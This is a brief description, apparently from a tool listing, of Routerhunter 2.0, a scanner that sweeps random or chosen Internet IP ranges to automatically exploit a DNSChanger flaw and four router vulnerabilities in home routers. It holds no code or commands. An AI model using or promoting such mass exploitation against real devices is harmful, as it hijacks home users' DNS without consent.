Scanner Routerhunter 2.0 – Testing vulnerabilities in devices & routers connected to the Internet.

The Routerhunter was designed to run over the Internet looking for defined ips tracks or random in order to automatically exploit the vulnerability DNSChanger on home routers.

Tool used to find vulnerable routers and devices on the Internet and perform tests.
Has been tested on Ubuntu 14.04, Kali Linux, Windows;7/Vista/8.1

The script explores four vulnerabilities in routers
